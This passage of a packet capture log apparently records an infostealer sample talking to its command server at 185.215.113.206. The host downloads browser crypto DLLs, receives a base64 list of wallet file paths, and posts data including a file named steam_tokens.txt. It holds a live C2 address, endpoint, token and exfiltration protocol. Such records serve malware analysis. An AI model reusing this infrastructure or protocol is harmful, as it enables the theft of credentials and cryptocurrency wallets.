form-data; name="file"------GIEHJKEBAAEBGCAAEBFH--
Nov 11, 2024 21:59:19.982423067 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:20.823858976 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:21.023554087 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 11, 2024 21:59:21.023567915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 11, 2024 21:59:21.023583889 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 11, 2024 21:59:21.023663044 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 11, 2024 21:59:21.023682117 CET	848	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 11, 2024 21:59:21.023695946 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 11, 2024 21:59:21.023710012 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 11, 2024 21:59:21.023725033 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 11, 2024 21:59:21.024307966 CET	1236	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 11, 2024 21:59:21.024322033 CET	1236	IN	Data Raw: 89 55 e0 31 cf 8b 75 98 31 d6 89 f9 0f a4 f1 08 0f a4 fe 08 89 f2 8b 85 74 ff ff ff 8b 70 48 89 b5 38 ff ff ff 8b 7d b4 01 f7 8b 70 4c 89 b5 14 ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da Data Ascii: U1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tO
Nov 11, 2024 21:59:21.829523087 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:22.030354023 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 11, 2024 21:59:22.287422895 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:22.486937046 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 11, 2024 21:59:22.721693039 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:22.936151028 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 11, 2024 21:59:23.354676962 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:23.554970026 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 11, 2024 21:59:23.642292976 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 21:59:23.842134953 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 11, 2024 21:59:25.435101032 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 21:59:26.135528088 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:27.049212933 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="message"wallets------JKKKJJJKJKFHJJJJECBF--
Nov 11, 2024 21:59:27.251205921 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 11, 2024 21:59:27.258305073 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 2d 2d 0d 0a Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="message"files------AKKEGDGCGDAKEBFIJECG--
Nov 11, 2024 21:59:27.462047100 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:27.488894939 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Nov 11, 2024 21:59:28.189230919 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
